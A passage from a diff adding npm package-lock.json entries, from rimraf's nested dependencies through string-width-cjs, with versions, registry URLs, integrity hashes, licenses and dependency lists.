"integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "license": "MIT" + }, + "node_modules/rimraf/node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/jackspeak": { + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.3.tgz", + "integrity": "sha512-OGlZQpz2yfahA/Rd1Y8Cd9SIEsqvXkLVoSw/cgwhnhFMDbsQFeZYoJJ7bIZBS9BcamUW96asq/npPWugM+RQBw==", + "license": "BlueOak-1.0.0", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/rimraf/node_modules/lru-cache": { + "version": "10.4.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-10.4.3.tgz", + "integrity": "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ==", + "license": "ISC" + }, + "node_modules/rimraf/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.2" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/path-scurry": { + "version": "1.11.1", + "resolved": "https://registry.npmjs.org/path-scurry/-/path-scurry-1.11.1.tgz", + "integrity": "sha512-Xa4Nw17FS9ApQFJ9umLiJS4orGjm7ZzwUrwamcGQuHSzDyth9boKDaycYdDcZDuqYATXw4HFXgaqWTctW/v1HA==", + "license": "BlueOak-1.0.0", + "dependencies": { + "lru-cache": "^10.2.0", + "minipass": "^5.0.0 || ^6.0.2 || ^7.0.0" + }, + "engines": { + "node": ">=16 || 14 >=14.18" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/rimraf/node_modules/string-width": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz", + "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==", + "license": "MIT", + "dependencies": { + "eastasianwidth": "^0.2.0", + "emoji-regex": "^9.2.2", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/rimraf/node_modules/wrap-ansi": { + "version": "8.1.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz", + "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^6.1.0", + "string-width": "^5.0.1", + "strip-ansi": "^7.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/rollup": { + "version": "4.59.0", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz", + "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "1.0.8" + }, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=18.0.0", + "npm": ">=8.0.0" + }, + "optionalDependencies": { + "@rollup/rollup-android-arm-eabi": "4.59.0", + "@rollup/rollup-android-arm64": "4.59.0", + "@rollup/rollup-darwin-arm64": "4.59.0", + "@rollup/rollup-darwin-x64": "4.59.0", + "@rollup/rollup-freebsd-arm64": "4.59.0", + "@rollup/rollup-freebsd-x64": "4.59.0", + "@rollup/rollup-linux-arm-gnueabihf": "4.59.0", + "@rollup/rollup-linux-arm-musleabihf": "4.59.0", + "@rollup/rollup-linux-arm64-gnu": "4.59.0", + "@rollup/rollup-linux-arm64-musl": "4.59.0", + "@rollup/rollup-linux-loong64-gnu": "4.59.0", + "@rollup/rollup-linux-loong64-musl": "4.59.0", + "@rollup/rollup-linux-ppc64-gnu": "4.59.0", + "@rollup/rollup-linux-ppc64-musl": "4.59.0", + "@rollup/rollup-linux-riscv64-gnu": "4.59.0", + "@rollup/rollup-linux-riscv64-musl": "4.59.0", + "@rollup/rollup-linux-s390x-gnu": "4.59.0", + "@rollup/rollup-linux-x64-gnu": "4.59.0", + "@rollup/rollup-linux-x64-musl": "4.59.0", + "@rollup/rollup-openbsd-x64": "4.59.0", + "@rollup/rollup-openharmony-arm64": "4.59.0", + "@rollup/rollup-win32-arm64-msvc": "4.59.0", + "@rollup/rollup-win32-ia32-msvc": "4.59.0", + "@rollup/rollup-win32-x64-gnu": "4.59.0", + "@rollup/rollup-win32-x64-msvc": "4.59.0", + "fsevents": "~2.3.2" + } + }, + "node_modules/router": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/router/-/router-2.2.0.tgz", + "integrity": "sha512-nLTrUKm2UyiL7rlhapu/Zl45FwNgkZGaCpZbIHajDYgwlJCOzLSk+cIPAnsEqV955GjILJnKbdQC1nVPz+gAYQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "depd": "^2.0.0", + "is-promise": "^4.0.0", + "parseurl": "^1.3.3", + "path-to-regexp": "^8.0.0" + }, + "engines": { + "node": ">= 18" + } + }, + "node_modules/run-applescript": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/run-applescript/-/run-applescript-7.1.0.tgz", + "integrity": "sha512-DPe5pVFaAsinSaV6QjQ6gdiedWDcRCbUuiQfQa2wmWV7+xC9bGulGI8+TdRmoFkAPaBXk8CrAbnlY2ISniJ47Q==", + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/safer-buffer": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", + "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==", + "license": "MIT" + }, + "node_modules/sass-lookup": { + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/sass-lookup/-/sass-lookup-6.1.2.tgz", + "integrity": "sha512-GjmndmKQBtlPil79RK72L7yc5kDXZPCQeH97bP8R8DcxtXQJO6vECExb3WP/m6+cxaV9h4ZxrSRvCkPG2v/VSw==", + "dev": true, + "license": "MIT", + "dependencies": { + "commander": "^12.1.0", + "enhanced-resolve": "^5.20.0" + }, + "bin": { + "sass-lookup": "bin/cli.js" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/sass-lookup/node_modules/commander": { + "version": "12.1.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz", + "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + } + }, + "node_modules/selderee": { + "version": "0.11.0", + "resolved": "https://registry.npmjs.org/selderee/-/selderee-0.11.0.tgz", + "integrity": "sha512-5TF+l7p4+OsnP8BCCvSyZiSPc4x4//p5uPwK8TCnVPJYRmU2aYKMpOXvw8zM5a5JvuuCGN1jmsMwuU2W02ukfA==", + "license": "MIT", + "dependencies": { + "parseley": "^0.12.0" + }, + "funding": { + "url": "https://ko-fi.com/killymxi" + } + }, + "node_modules/semver": { + "version": "7.7.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.4.tgz", + "integrity": "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA==", + "license": "ISC", + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/send": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/send/-/send-1.2.1.tgz", + "integrity": "sha512-1gnZf7DFcoIcajTjTwjwuDjzuz4PPcY2StKPlsGAQ1+YH20IRVrBaXSWmdjowTJ6u8Rc01PoYOGHXfP1mYcZNQ==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.3", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "fresh": "^2.0.0", + "http-errors": "^2.0.1", + "mime-types": "^3.0.2", + "ms": "^2.1.3", + "on-finished": "^2.4.1", + "range-parser": "^1.2.1", + "statuses": "^2.0.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/serve-static": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/serve-static/-/serve-static-2.2.1.tgz", + "integrity": "sha512-xRXBn0pPqQTVQiC8wyQrKs2MOlX24zQ0POGaj0kultvoOCstBQM5yvOhAVSUwOMjQtTvsPWoNCHfPGwaaQJhTw==", + "license": "MIT", + "dependencies": { + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "parseurl": "^1.3.3", + "send": "^1.2.0" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/set-function-length": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz", + "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==", + "license": "MIT", + "dependencies": { + "define-data-property": "^1.1.4", + "es-errors": "^1.3.0", + "function-bind": "^1.1.2", + "get-intrinsic": "^1.2.4", + "gopd": "^1.0.1", + "has-property-descriptors": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/setprototypeof": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.2.0.tgz", + "integrity": "sha512-E5LDX7Wrp85Kil5bhZv46j8jOeboKq5JMmYM3gVGdGH8xFpPWXUMsNrlODCrkoxMEeNi/XZIwuRvY4XNwYMJpw==", + "license": "ISC" + }, + "node_modules/sharp": { + "version": "0.34.5", + "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.34.5.tgz", + "integrity": "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg==", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "@img/colour": "^1.0.0", + "detect-libc": "^2.1.2", + "semver": "^7.7.3" + }, + "engines": { + "node": "^18.17.0 || ^20.3.0 || >=21.0.0" + }, + "funding": { + "url": "https://opencollective.com/libvips" + }, + "optionalDependencies": { + "@img/sharp-darwin-arm64": "0.34.5", + "@img/sharp-darwin-x64": "0.34.5", + "@img/sharp-libvips-darwin-arm64": "1.2.4", + "@img/sharp-libvips-darwin-x64": "1.2.4", + "@img/sharp-libvips-linux-arm": "1.2.4", + "@img/sharp-libvips-linux-arm64": "1.2.4", + "@img/sharp-libvips-linux-ppc64": "1.2.4", + "@img/sharp-libvips-linux-riscv64": "1.2.4", + "@img/sharp-libvips-linux-s390x": "1.2.4", + "@img/sharp-libvips-linux-x64": "1.2.4", + "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", + "@img/sharp-libvips-linuxmusl-x64": "1.2.4", + "@img/sharp-linux-arm": "0.34.5", + "@img/sharp-linux-arm64": "0.34.5", + "@img/sharp-linux-ppc64": "0.34.5", + "@img/sharp-linux-riscv64": "0.34.5", + "@img/sharp-linux-s390x": "0.34.5", + "@img/sharp-linux-x64": "0.34.5", + "@img/sharp-linuxmusl-arm64": "0.34.5", + "@img/sharp-linuxmusl-x64": "0.34.5", + "@img/sharp-wasm32": "0.34.5", + "@img/sharp-win32-arm64": "0.34.5", + "@img/sharp-win32-ia32": "0.34.5", + "@img/sharp-win32-x64": "0.34.5" + } + }, + "node_modules/shebang-command": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-2.0.0.tgz", + "integrity": "sha512-kHxr2zZpYtdmrN1qDjrrX/Z1rR1kG8Dx+gkpK1G4eXmvXswmcE1hTWBWYUzlraYw1/yZp6YuDY77YtvbN0dmDA==", + "license": "MIT", + "dependencies": { + "shebang-regex": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/shebang-regex": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-3.0.0.tgz", + "integrity": "sha512-7++dFhtcx3353uBaq8DDR4NuxBetBzC7ZQOhmTQInHEd6bSrXdiEyzCvG07Z44UYdLShWUyXt5M/yhz8ekcb1A==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/shell-quote": { + "version": "1.8.3", + "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz", + "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz", + "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3", + "side-channel-list": "^1.0.0", + "side-channel-map": "^1.0.1", + "side-channel-weakmap": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-list": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz", + "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-map": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz", + "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/side-channel-weakmap": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz", + "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==", + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.5", + "object-inspect": "^1.13.3", + "side-channel-map": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/siginfo": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/siginfo/-/siginfo-2.0.0.tgz", + "integrity": "sha512-ybx0WO1/8bSBLEWXZvEd7gMW3Sn3JFlW3TvX1nREbDLRNQNaeNN8WK0meBwPdAaOI7TtRRRJn/Es1zhrrCHu7g==", + "dev": true, + "license": "ISC" + }, + "node_modules/signal-exit": { + "version": "3.0.7", + "resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.7.tgz", + "integrity": "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ==", + "license": "ISC" + }, + "node_modules/simple-git": { + "version": "3.36.0", + "resolved": "https://registry.npmjs.org/simple-git/-/simple-git-3.36.0.tgz", + "integrity": "sha512-cGQjLjK8bxJw4QuYT7gxHw3/IouVESbhahSsHrX97MzCL1gu2u7oy38W6L2ZIGECEfIBG4BabsWDPjBxJENv9Q==", + "license": "MIT", + "dependencies": { + "@kwsites/file-exists": "^1.1.1", + "@kwsites/promise-deferred": "^1.1.1", + "@simple-git/args-pathspec": "^1.0.3", + "@simple-git/argv-parser": "^1.1.0", + "debug": "^4.4.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/steveukx/git-js?sponsor=1" + } + }, + "node_modules/sisteransi": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz", + "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==", + "license": "MIT" + }, + "node_modules/smart-buffer": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/smart-buffer/-/smart-buffer-4.2.0.tgz", + "integrity": "sha512-94hK0Hh8rPqQl2xXc3HsaBoOXKV20MToPkcXvwbISWLEs+64sBq5kFgn2kJDHb1Pry9yrP0dxrCI9RRci7RXKg==", + "license": "MIT", + "engines": { + "node": ">= 6.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks": { + "version": "2.8.9", + "resolved": "https://registry.npmjs.org/socks/-/socks-2.8.9.tgz", + "integrity": "sha512-LJhUYUvItdQ0LkJTmPeaEObWXAqFyfmP85x0tch/ez9cahmhlBBLbIqDFnvBnUJGagb0JbIQrkBs1wJ+yRYpEw==", + "license": "MIT", + "dependencies": { + "ip-address": "^10.1.1", + "smart-buffer": "^4.2.0" + }, + "engines": { + "node": ">= 10.0.0", + "npm": ">= 3.0.0" + } + }, + "node_modules/socks-proxy-agent": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/socks-proxy-agent/-/socks-proxy-agent-10.0.0.tgz", + "integrity": "sha512-pyp2YR3mNxAMu0mGLtzs4g7O3uT4/9sQOLAKcViAkaS9fJWkud7nmaf6ZREFqQEi24IPkBcjfHjXhPTUWjo3uA==", + "license": "MIT", + "dependencies": { + "agent-base": "9.0.0", + "debug": "^4.3.4", + "socks": "^2.8.3" + }, + "engines": { + "node": ">= 20" + } + }, + "node_modules/socks-proxy-agent/node_modules/agent-base": { + "version": "9.0.0", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-9.0.0.tgz", + "integrity": "sha512-TQf59BsZnytt8GdJKLPfUZ54g/iaUL2OWDSFCCvMOhsHduDQxO8xC4PNeyIkVcA5KwL2phPSv0douC0fgWzmnA==", + "license": "MIT", + "engines": { + "node": ">= 20" + } + }, + "node_modules/socks/node_modules/ip-address": { + "version": "10.2.0", + "resolved": "https://registry.npmjs.org/ip-address/-/ip-address-10.2.0.tgz", + "integrity": "sha512-/+S6j4E9AHvW9SWMSEY9Xfy66O5PWvVEJ08O0y5JGyEKQpojb0K0GKpz/v5HJ/G0vi3D2sjGK78119oXZeE0qA==", + "license": "MIT", + "engines": { + "node": ">= 12" + } + }, + "node_modules/source-map": { + "version": "0.6.1", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", + "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", + "license": "BSD-3-Clause", + "optional": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz", + "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/spark-md5": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.2.tgz", + "integrity": "sha512-wcFzz9cDfbuqe0FZzfi2or1sgyIrsDwmPwfZC4hiNidPdPINjeUwNfv5kldczoEAcjl9Y1L3SM7Uz2PUEQzxQw==", + "dev": true, + "license": "(WTFPL OR MIT)" + }, + "node_modules/spdx-correct": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.2.0.tgz", + "integrity": "sha512-kN9dJbvnySHULIluDHy32WHRUu3Og7B9sbY7tsFLctQkIqnMh3hErYgdMjTYuqmcXX+lK5T1lnUt3G7zNswmZA==", + "license": "Apache-2.0", + "dependencies": { + "spdx-expression-parse": "^3.0.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-exceptions": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.5.0.tgz", + "integrity": "sha512-PiU42r+xO4UbUS1buo3LPJkjlO7430Xn5SVAhdpzzsPHsjbYVflnnFdATgabnLude+Cqu25p6N+g2lw/PFsa4w==", + "license": "CC-BY-3.0" + }, + "node_modules/spdx-expression-parse": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz", + "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==", + "license": "MIT", + "dependencies": { + "spdx-exceptions": "^2.1.0", + "spdx-license-ids": "^3.0.0" + } + }, + "node_modules/spdx-license-ids": { + "version": "3.0.23", + "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.23.tgz", + "integrity": "sha512-CWLcCCH7VLu13TgOH+r8p1O/Znwhqv/dbb6lqWy67G+pT1kHmeD/+V36AVb/vq8QMIQwVShJ6Ssl5FPh0fuSdw==", + "license": "CC0-1.0" + }, + "node_modules/stackback": { + "version": "0.0.2", + "resolved": "https://registry.npmjs.org/stackback/-/stackback-0.0.2.tgz", + "integrity": "sha512-1XMJE5fQo1jGH6Y/7ebnwPOBEkIEnT4QF32d5R1+VXdXveM0IBMJt8zfaxX1P3QhVwrYe+576+jkANtSS2mBbw==", + "dev": true, + "license": "MIT" + }, + "node_modules/standardwebhooks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/standardwebhooks/-/standardwebhooks-1.0.0.tgz", + "integrity": "sha512-BbHGOQK9olHPMvQNHWul6MYlrRTAOKn03rOe4A8O3CLWhNf4YHBqq2HJKKC+sfqpxiBY52pNeesD6jIiLDz8jg==", + "license": "MIT", + "dependencies": { + "@stablelib/base64": "^1.0.0", + "fast-sha256": "^1.3.0" + } + }, + "node_modules/statuses": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.2.tgz", + "integrity": "sha512-DvEy55V3DB7uknRo+4iOGT5fP1slR8wQohVdknigZPMpMstaKJQWhwiYBACJE3Ul2pTnATihhBYnRhZQHGBiRw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/std-env": { + "version": "3.10.0", + "resolved": "https://registry.npmjs.org/std-env/-/std-env-3.10.0.tgz", + "integrity": "sha512-5GS12FdOZNliM5mAOxFRg7Ir0pWz8MdpYm6AY6VPkGpbA7ZzmbzNcBJQ0GPvvyWgcY7QAhCgf9Uy89I03faLkg==", + "license": "MIT" + }, + "node_modules/stream-events": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/stream-events/-/stream-events-1.0.5.tgz", + "integrity": "sha512-E1GUzBSgvct8Jsb3v2X15pjzN1tYebtbLaMg+eBOUOAxgbLoSbT2NS91ckc5lJD1KfLjId+jXJRgo0qnV5Nerg==", + "license": "MIT", + "dependencies": { + "stubs": "^3.0.0" + } + }, + "node_modules/stream-shift": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.3.tgz", + "integrity": "sha512-76ORR0DO1o1hlKwTbi/DM3EXWGf3ZJYO8cXX5RJwnul2DEg2oyoZyjLNoQM8WsvZiFKCRfC1O0J7iCvie3RZmQ==", + "license": "MIT" + }, + "node_modules/stream-to-array": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/stream-to-array/-/stream-to-array-2.3.0.tgz", + "integrity": "sha512-UsZtOYEn4tWU2RGLOXr/o/xjRBftZRlG3dEWoaHr8j4GuypJ3isitGbVyjQKAuMu+xbiop8q224TjiZWc4XTZA==", + "dev": true, + "license": "MIT", + "dependencies": { + "any-promise": "^1.1.0" + } + }, + "node_modules/streamx": { + "version": "2.25.0", + "resolved": "https://registry.npmjs.org/streamx/-/streamx-2.25.0.tgz", + "integrity": "sha512-0nQuG6jf1w+wddNEEXCF4nTg3LtufWINB5eFEN+5TNZW7KWJp6x87+JFL43vaAUPyCfH1wID+mNVyW6OHtFamg==", + "license": "MIT", + "dependencies": { + "events-universal": "^1.0.0", + "fast-fifo": "^1.3.2", + "text-decoder": "^1.1.0" + } + }, + "node_modules/string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.2.0" + } + }, + "node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/string-width-cjs": { + "name": "string-width", + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + 